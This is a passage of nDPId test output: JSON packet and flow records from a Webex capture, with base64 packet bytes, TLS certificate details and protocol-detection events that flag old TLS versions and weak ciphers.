CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00409{"flow_id":38,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":644,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570672,"pkt_ts_usec":627470,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoMYtAAEAGVZEKCAABQERpZ6HLAbsAQeG1\/74t7lAQTO\/8BgAA"} +00851{"flow_id":38,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":645,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570672,"pkt_ts_usec":678256,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFuMYxAAEAGVEoKCAABQERpZ6HLAbsAQeG1\/74t7lAYTO+atwAAFgMBAQYQAAECAQAuppU4ElPOMVNipeJaWtYwd\/pvWAtwO7pVTcwUuBj0JDxY6VnwQzztScdjLr8Pcj8u3vy6LVQ7m48dDphYxGEqcu1rKhix8wpyxf8hqqzr4ft8X2BnR6SvAXq0uv6MX5HQ7oD5GSdsggxLFSZHneq9DKcQgX7+0nhFxKzwVtVldpjLXq79j\/rlFiYG81tL9wnO473pAKuLlL3yKl8wMiRrEmsrw68MWwi3GZ+GT3VPpSn40JTjfnZIjmlrzilGE91ULr\/9YU92jzBIBKS+GmFJZMGK71hcaw3F6KJaWBf1gxX8k+\/DfohrkTinc38RSeL4CG507sR24h+ewz7oE4uyFAMBAAEBFgMBADC4olNnPx+6lJkGqx6oK+EiWjHYmGYPffVkRkiK0WyPT8N+5YzjoItdJvrDQJeo9zE="} +00410{"flow_id":38,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":646,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570672,"pkt_ts_usec":679144,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAkBAABAGtNxARGlnCggAAQG7ocv\/vi3uAEHi+1AQ\/\/9HsAAA"} +00494{"flow_id":38,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":657,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570672,"pkt_ts_usec":892725,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAkZAABAGtJtARGlnCggAAQG7ocv\/vi3uAEHi+1AY\/\/8QwwAAFAMBAAEBFgMBADAXuYqN3r\/lP5Onr2QhzEQgXpkrMo+S3MYe2nzwVNVN61+q9n9loUk8jnHEFPT0Emc="} +01123{"flow_id":38,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":658,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570672,"pkt_ts_usec":943084,"pkt_caplen":576,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":576,"pkt_l4_len":542,"pkt":"ABoRAAACABoRAAABCABFAAIyMY1AAEAGU4UKCAABQERpZ6HLAbsAQeL7\/74uKVAYTO9tygAAFwMBACDcVeMthKLmD1Ozer+kLDY6AMcMG4aTTn1f+AXx+6ipMBcDAQHgx+6iaKJZ8OwcNGgmq9NB2VoEty9BynVn6vPrOOgqO7fobzrybMPxZ5ObhXflEBe+cRqcZ+ur0JaTDctFncTMXMJCTQyV1fqeMWg8DqXensXwcYnbJttH15SBVe9d\/we5YLZLcXgyIUvKK1HIGcWSn78t3Sj7qZMQqncH+D8rN1cOzQ\/NzbiI6KOAHB2LNX\/f\/mUo7w7GXlWToTo3HkI10mh2HOEere7vZ58CyRwdEPNC+d83SI+S8yf6nYG0anYahqlEJFLmQZWW11zUh\/ttpggGJgwQIxxmx9fxIF68\/FmSO2cXHYi8ZuuixO0K4YLZeLQ9A1urEEUN0xzugUwj6S7YliUxRt3r08sYzDMNK5hjssPFhvrze\/IVKkGVispJD\/O\/V+HwCDp5frb84EjaaXn5\/InH5KgZZBJJOqNXkPQaY904nUw6eU7DvRc7T9g6VY6pec+4vjEcSs+AgiAY\/1Tl+1QOlyBbGc0KlYx\/Mf9p\/Qh3xOD4fQCOq1ayBJqvA4AxLHSeOK6pbn4xxWKuP9sGXrdTGjs9SHnZ5VuFO0LZctPL4cTDU0bP\/vDFwf4hQrW42pFjF1LK6AtCUrAVY9mgSJ3ZszNJhwajmvNB5LddZJ9Em5vWZB4OGO\/1qjTE"} +00411{"flow_id":38,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":659,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570672,"pkt_ts_usec":943507,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAkdAABAGtNVARGlnCggAAQG7ocv\/vi4pAEHlBVAQ\/\/9FawAA"} +03874{"flow_id":38,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":660,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570673,"pkt_ts_usec":246494,"pkt_caplen":2608,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2608,"pkt_l4_len":2574,"pkt":"ABoRAAACABoRAAABCABFAAoiAkhAABAGqtpARGlnCggAAQG7ocv\/vi4pAEHlBVAY\/\/\/XVwAAFwMBCdBxLLWSPEcVTPk19a6RQSj\/HYO13nqarKLu4pl+tnPrre2wPJIRBzaFPuCZR4nIVzVt5TgLzsUv4LDQFurGviI+25Sp4kPOj8WFqS4ctOKFW\/a\/c7HRcHubuPd8PgX4kQ5PwrFXHw1+ELd4KWdXwJuHECA8USn7TQSdk+zsnZGABbL0TklMSnEDkhf5fI4dGCYqiJJa3a8f7TLBhsJO16gnqb0vreOrQCMdXy3ZW+A2kYdg+F0r\/pkGWR8rmaOk660cRikdWW+bMqYisJqG9blxC3OO0DOIlJH\/SF1+pArnMi4yt0yQCEswGNiPvwMyMDYkeV3e\/a3+nF4v3mSWBTZZcQtEkcZ3fuLnmB+Oa87Zy35Rb792AZ7zfZKhwcbUJfxNk0M30v5SnhKor\/QMBN+3461ebWJFlABREdcWXp3uhJs0cj6SU+rxjRHKRGu1vyQbz7WmxJf20XJ618iszXhYhP8PM0vhTizUHHmyWIwZUzL13fRRYeU8uKecwjxsYu+PhwwbXYZKbz42ZGCVm5VoHEd\/6KGLL8MmRPLo1sSKugMNc3aX5pmkcDl0Keryiphq6jrc5HNpB9ksfAv+387vXz0cPxgry+shHAzJyVkFtB\/3CIQ69oOpS\/o2gzSyduBgf4wXr9mvD0B4gi0xu2hj2M8nmsSyS5ZF8NpVcT8Bs8GF2hQD9A1QmQ5hVsqev1h5b8x1I\/0VSazTpLSwWA5n9ImKNrB28ZWiYFtJoKcRBidm3YKdX59A5CGziIgMIUivq2vEaxvMojJ\/Q+uKu0gGLPC+odug2TFrzpmJIEDIvKwjczNJ+qzMCAJGzPzXP+Iutfd7KHi6jzIwOUSFk1RthpSgLUhNAm4MqwX0ux3upofh91y1pDof5xDFfwQrXMaWYISh12sxcquzh201cUFjVc5RJH+D9OLmrU8szFmDpNFSQvlUHEWnie4Sz1eskdMXnrtLc\/sAyBEgLG0Hbp0BRoOKD5ChN5yIT0j+kQJDj8dRk4FyBbyx3bhh8tOozGT0icyAvbpHdJpc93mD4l\/Fh9Byz2cyotXvuL3UKHYuzVrF\/Px8ZCFz+04bU0cl9+t2SzSD7qP6U1sQG+mzG7bpH3TwcrdQDCQq1eTexNP4Nz+CySuHIHVdKWpmbIvWlQYl7+tjJoOZ1COZF3mEaRVy3g351VmsNdg4z0EfD7KxIyidbgJEUTTVY\/VXriJ01zyMiBBAbEGSDERkCW0oki8KPVvatcrO2WVVw7CIbC2A9FxL7j1h1NmPMiyLBsXZEAaQNmajnRGpm2A9T\/T7oyQFne9VuFfvrux07UlC6xt84ucd27tP+EG7YmDrd0XZA0yczM5u3T5QHouULTzku\/QkF0UBr7DnUC2xcchQrMQLMP2\/i2sNaXPHPcOhHhQW0BtzWeKngcaGZICXtm3gzGFP\/14SF6QGhvDIhss2Ngm8a3xJCLZGbXMr68va9eSCzC9p4bESe7hArjqLEkM1DnO4Qy6gSi803M6HqbEPhUZp3kLuaPb++WcBRiqYA+tp6ZmAYxGo1lrF8WcPx5ETYNoNx+qIlrbYBErT45GqSGHgFa\/bsXT6AjmPD2BsMuzb3MyNt48XQNqYST2ZncnpbRB\/QDVJ+RSbyKEoPzkyn+jPX4a10oXE5\/SME1lX8NtesLsxqF39WQ8kVuvaYluWx0NlM+AsltoGs7wH7w\/Ke\/LRbm2y3g\/fNZcD0MYBnJCU24WwkN0XxN8LtHZKIMgGB2SIat65m61dqCewFMxUzGtA7goYvEa9UoCuKk1HFzmZnRndCVESjMHcWPR86Vsxl6eMaglOYVoxuHyLq4wyyJ94\/VgJ4zdfJI4VhdvJXUZ\/F0PbkuoSicbt0GdvFak33YaiS1ueqdyvEyzEgdsakioBGYIiM4SdVkY\/+xGswRVfu6HRWGtCsZXu7keWt8qgYMb5wFSdc+4fnsr2RFgiYAR2dhWrn\/Hm3EoKIZ8RrcBb48ERdhcLVCWM3ruYR7WN0mJpAN2LGbEl\/b6tjSFn2xwt28fX1bXGZOix4hZ+25HRCORrW8HLeednkeSYM21yclGjGhydge9dvPkxfGs6gFLUNMdD7u1RfLlHTogwsdMMCYB3Z0HqDf9JyOyAHme07NG8nR5fGVkYgSLRWbK03\/74Qu9bmpVcM23hXQgklG+0RH3aSYDC2S\/L9T3GsseReB0W1Ltt+sCTVZkGtsDBrP0kaRW2iP1wo7Bztt02WEKs3jx+YaxcWkZfRdKSjDkoGS5w68U3UeX8eWlaCGKZ9SM\/X3WBdD3oQ+G9BX76RDWBW0yLgRkzFDNtCuCBT2F88ngyJBdrM\/h7V31HBvtd7YPbui5Il073EqntQHrDIsOhwMAkqi9B\/kv76U\/paWJF8woebSmmJHRkjpRSgZgBRqy5YDWgsEkBsb\/M7PToEBQ3leCAwUVxr8WS75bWnbVdbkIZdY+PTaLeeCkuG7H7vwHsMHNE1K7RV2aEJqgrchEzMkpJfc\/F3W7UorADHKMPEliKd7a1Sl5kCk3D9DaJfO3OQsBHyh3ZE7AAsge2VLZ\/hKcfBRRDWXybOanemCu6Q7vsvM8wWH4o8dl4VDgGt80bTo8Wt1uxpADugU6ulqKwUOXrGWE5bDusJ2mpJbpLoLiFHB23KWFqKzDZwzFrN0wJTtYC96dHAFFtcFTJAxVJXjOFXgbY7vRAZRGUwDQXteKawnevNpun7oZyesoi7eusyyYP2jxb+HyXF+z7ka6hd60sXztpl8vmZcoekRcexV9VhJVffkIysEhlTHwq1XquRiHrMeRzFOZtAIJBPJ6OZxJcxt20ZPFVJr8aJ8EpGmcPk9Vrzifck90TJwUFBj1fhjVY\/UPhml37sb\/LM8HBxgBhMnNtJeY7KSrWcNA5DLTaNxf2vVrKUt7LUhb0Q\/D8yV+8tnQoqnGzXd4q7PgiJ5Ok02GD1eJbmsGd8S46DGlSQ2ESWiFO81bUBCz\/l+gy6UWKEh\/Dk3vJef1PahTiYWdIeKgHkHGP9f5CayvJZetPhLRg2JcUwKffvitpq3RA60DPcuH5N7FFwzhR+R2KhtSqQFLREu3\/ny4h2cMyB6kAUHnvrnSRJbtqPECJz3ku2o3UDldRKB+N\/okiRvibcBw8LdAM2eYNe4pcJ3TZPSMDc5M13NTrYEFMCbRwBCL31Sr9XIldusv6xbllg7QWuoPgFbQbBXbGMK9TKRzIvrHbzjSFGNrhzkAZRY1XEJbbyX4CL95T8494H\/EN9az0oAVmouUwLKw9TcllFwgrYL9Izx4U7UjaNaDShgCnfoEPMD+MNTfyg1MAEL10owxfKqO3l+CO7xyXepyXAUAYKab7FQMBACA9dI3WgNGnAauL1dqZIyQbop7VGGyDAjtV+hyF5mmGyA=="} +00409{"flow_id":38,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":661,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570673,"pkt_ts_usec":280105,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoMY5AAEAGVY4KCAABQERpZ6HLAbsAQeUF\/744I1AUa7XPtwAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":662,"source":"webex.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1444570674487,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.243.0.110","src_port":55665,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":662,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570674,"pkt_ts_usec":487975,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8CB5AAEAGejQKCAABrfMAbtlxAbui3tn8AAAAAKACOQgsWAAAAgQFtAQCCAoATNHiAAAAAAEDAwY="} +00410{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":663,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570674,"pkt_ts_usec":499448,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAklAABAGsB2t8wBuCggAAQG72XFdISYDot7Z\/VAS\/\/8cOwAA"} +00407{"flow_id":39,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":664,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570674,"pkt_ts_usec":500159,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoCB9AAEAGekcKCAABrfMAbtlxAbui3tn9XSEmBFAQOQjjMwAA"} +00662{"flow_id":39,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":665,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570674,"pkt_ts_usec":600509,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"ABoRAAACABoRAAABCABFAADjCCBAAEAGeYsKCAABrfMAbtlxAbui3tn9XSEmBFAYOQgu1wAAFgMBALYBAACyAwF10XyjAsAxicBbHHpuW8T0LZqOxOyDfFNTQx6hPM8mVgAAWMAUwAoAOQA4ADcANsAPwAUANcATwAkAMwAyADEAMACaAJkAmACXwA7ABAAvAJbAEcAHwAzAAgAFAATAEsAIABYAEwAQAA3ADcADAAoAFQASAA8ADAAJAP8BAAAxAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgAjAAAADwABAQ=="} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":665,"source":"webex.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":4,"flow_first_seen":1444570674487,"flow_last_seen":1444570674600,"flow_tot_l4_data_len":287,"flow_min_l4_data_len":20,"flow_max_l4_data_len":207,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.243.0.110","src_port":55665,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"64ea4359ad4b496db653a3f30f7073e6","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":39,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":666,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570674,"pkt_ts_usec":600804,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAkpAABAGsByt8wBuCggAAQG72XFdISYEot7auFAQ\/\/8bgQAA"} +05677{"flow_id":39,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":671,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570675,"pkt_ts_usec":110598,"pkt_caplen":3961,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3961,"pkt_l4_len":3927,"pkt":"ABoRAAACABoRAAABCABFAA9rAk1AABAGoNat8wBuCggAAQG72XFdISYEot7auFAY\/\/\/mtwAAFgMBDz4CAAAtAwFWGmIdHu5dz76\/IuzQTDtiAhUgwLQWfqmTm8g03f1qUAAANQAABf8BAAEACwAPBQAPAgAE6TCCBOUwggPNoAMCAQICECl0ianUHkm+YfeBaUbmIfMwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNTA0MTAwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHcxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMREwDwYDVQQHDAhTYW4gSm9zZTEcMBoGA1UECgwTQ2lzY28gU3lzdGVtcywgSW5jLjEMMAoGA1UECwwDQ1NHMRQwEgYDVQQDDAsqLndlYmV4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ14yGFLwwhhZyxegl+wYbyZZp5q4NComRXAz+k8ibNrPp+x46qW\/Dt++MdupJ8y605K5KTQVb24unmPF+pZq1par5YBKMjJrJTW2aAI1MtQvRzSDCNhdWyxiP6SkVBm6ZOcLwL+kijn\/nCot5orO1NrHHFG\/HBcSk1aaetoitrjs5BWuMxdYuIZvzSoyViVbo\/w\/LUKXdD0rlOcFmOxtcf+VKb7w1eyku07Jp94m\/\/ILLQS\/jy7ymRyfGFnPLtNqBmUKFg+uAD7JcHZiy8g6quVEhEZdm3O+tUR2wYZ5in9yKcrxqoHwhW0O4X2\/rJ4mNDvikIgaWiSNW7eIoh0NWECAwEAAaOCAWQwggFgMBYGA1UdEQQPMA2CCyoud2ViZXguY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBlBgNVHSAEXjBcMFoGCmCGSAGG+EUBBzYwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGRoXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAFNF1YB0fCkEyxRc1VQO7NUZao+PnZuavjgeTnyTKmHl\/4Zxh1Xg\/M\/f\/RHSrGrgUW2xaSZN\/Dwt2hqMtIi\/b\/AgOFeqNKmMxH3nWxf6f1Lr7QoTvApLQGqjeuIT3U6AiRMt4Ksgfx7+1Vbil1AaILo859VgXSMgVJTv4QpUpzg\/EKtUqPwMwq8PvwoTjlewyOt9YbCxNTO91JkKsYuwm7uUeU7Fx+r+rP+wgDwYVbbsUwQXAbj7QOj3dkPLzn+gcrhK1ZlgFf7Ti34xrqj7jNiaMc0dYh\/Ns3KCHMTs5rVCGLIk7lEgovwLDbJtuuQTlvaHoeZIGVPqROi5Bl\/WxAgAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHAATUMIIE0DCCBDmgAwIBAgIQJQzo4DBhLp8rifcFTXz4\/TANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYxMTA4MDAwMDAwWhcNMjExMTA3MjM1OTU5WjCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ\/XxrcgxiV0i6CqqpkKzj\/i5Vbext0uz\/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6\/WhkcIzSdhDY2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn\/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4\/VBEnkjWNHiDxpg8v+R70rfk\/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10\/NIeWiu5T6CUVAgMBAAGjggGbMIIBlzAPBgNVHRMBAf8EBTADAQH\/MDEGA1UdHwQqMCgwJqAkoCKGIGh0dHA6Ly9jcmwudmVyaXNpZ24uY29tL3BjYTMuY3JsMA4GA1UdDwEB\/wQEAwIBBjA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL2NwczAdBgNVHQ4EFgQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24uY29tL3ZzbG9nby5naWYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC52ZXJpc2lnbi5jb20wPgYDVR0lBDcwNQYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDAwYJYIZIAYb4QgQBBgpghkgBhvhFAQgBMA0GCSqGSIb3DQEBBQUAA4GBABMC3fjohgDyWvj4IAxZiGIHzs73Tvm7WaGY5eE43U68ZhjTresY8g3JbT5KlCDDPLq9ZVTGr0SzEK0saz6r1we2uIFjxfleLuUqZ87NMwwq14lWAyMfs77oOghZtOxFNfeKW\/9mz1Cvxm1XjRl4t7mi0VfqH5pLr7rJjhJ+xr3\/DgAAAA=="} +01111{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":671,"source":"webex.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":6,"flow_first_seen":1444570674487,"flow_last_seen":1444570675110,"flow_tot_l4_data_len":4234,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3927,"flow_avg_l4_data_len":705,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.243.0.110","src_port":55665,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"64ea4359ad4b496db653a3f30f7073e6","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} 